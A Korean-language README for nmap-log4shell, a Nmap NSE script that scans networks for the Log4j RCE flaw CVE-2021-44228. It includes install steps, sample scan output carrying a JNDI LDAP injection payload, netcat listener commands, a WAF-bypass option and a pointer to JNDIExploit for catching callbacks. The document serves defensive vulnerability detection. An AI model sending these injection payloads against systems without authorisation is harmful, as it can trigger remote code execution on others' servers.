
Apache Log4j RCE(CVE-2021-44228) 탐지를 위한 Nmap Log4Shell NSE 스크립트
nmap-log4shell은 네트워크 전반에 걸쳐 Apache Log4j RCE(CVE-2021-44228) 취약점을 탐지하기 위한 NSE 스크립트입니다. 이 스크립트는 HTTP 헤더(기본값) 또는 TCP/UDP 소켓을 통해 log4shell 악용 페이로드를 주입할 수 있습니다.
CVE-2021-44228은 Apache Log4j 2의 원격 코드 실행(RCE) 취약점입니다. 인증되지 않은 원격 공격자는 취약한 버전의 log4j를 실행하는 서버에 특수하게 조작된 요청을 전송하여 이 결함을 악용할 수 있습니다. 조작된 요청은 다음을 포함한 다양한 서비스를 통해 JNDI(Java Naming and Directory Interface) 주입을 사용합니다:
취약한 서버가 요청을 기록하기 위해 log4j를 사용하는 경우, 악용 코드는 위 서비스 중 하나를 통해 JNDI로 공격자가 통제하는 서버에 악성 페이로드를 요청하게 됩니다. 성공적인 악용은 RCE로 이어질 수 있습니다.
시스템에서 nmap 스크립트가 있는 위치를 찾으십시오:
~/.nmap/scripts/ 또는 $NMAPDIR일 수 있습니다/usr/local/Cellar/nmap/<version>/share/nmap/scripts/일 수 있습니다C:\Program Files (x86)\Nmap\scripts일 수 있습니다제공된 스크립트(log4shell.nse)를 해당 디렉터리에 복사한 다음 nmap --script-updatedb를 실행하여 nmap 스크립트 DB를 업데이트하십시오.
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| log4shell:
| Payloads:
| ${jndi:ldap:/172.17.42.1:389/log4shell}
| Test Method: HTTP
| URL Path: /
| HTTP Method: GET
| HTTP Headers:
| Access-Control-Request-Method: 200
| Accept: 200
| Access-Control-Request-Headers: 200
| Accept-Charset: 200
| X-Api-Version: 200
| Warning: 200
| Pragma: 200
| Upgrade-Insecure-Requests: 200
| Range,: 400
| Hostname: 200
| Content-Length: 400
| Dnt: 200
| Date: 200
| Username: 200
| Content-Encoding: 200
| Content-Type: 200
| Forwarded: 200
| Max-Forwards: 200
| Accept-Encoding: 200
| Referer: 200
| IP: 200
| IPaddress: 200
| X-Amz-Date: 200
| X-Amz-Target: 200
| TE: 200
| Content-Disposition: 200
| X-Requested-With: 200
| upgrade-insecure-requests: 200
| Authorization: 200
| Cookie: 200
| User-Agent: 200
| Accept-Language: 200
| Proxy-Authorization: 200
| Expect: 417
| From: 200
| Accept-Datetime: 200
| X-CSRF-Token: 200
| Origin: 200
|_ Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs
log4shell.callback-server: 콜백 서버(예: 172.17.42.1:1389)log4shell.http-headers: 쉼표로 구분된 HTTP 헤더 목록(예: X-Api-Version,User-Agent,Referer)log4shell.http-method: HTTP 메서드(기본값: GET)log4shell.url-path: URL 경로(기본값: /)log4shell.waf-bypass: WAF 우회 페이로드 사용(기본값: false)log4shell.test-method: http(기본값), tcp, udp 또는 을 통해 테스트이 스크립트는 스캔 대상의 콜백에 의존하므로 방화벽 규칙이나 다른 보안 장비와의 상호 작용이 스크립트의 효과에 영향을 미칠 수 있습니다.
netcat(또는 ncat)으로 TCP 포트를 수신 대기합니다:
ncat -vkl 1389 # Ncat
nc -lvnp 1389 # Netcat
--script log4shell.nse 스크립트로 Nmap 실행
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
netcat(또는 ncat) 출력에서 대상 IP 주소를 확인합니다:
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.
GitHub에서 JNDIExploit 다운로드(https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)
JNDIExploit 서버 시작:
java -jar JNDIExploit.jar
--script log4shell.nse 스크립트로 Nmap 실행
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>
수신된 LDAP 쿼리를 확인하려면 JNDIExploit 출력을 확인하십시오
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell
이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하는 데 nmap-log4shell을 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 이 프로그램으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.
all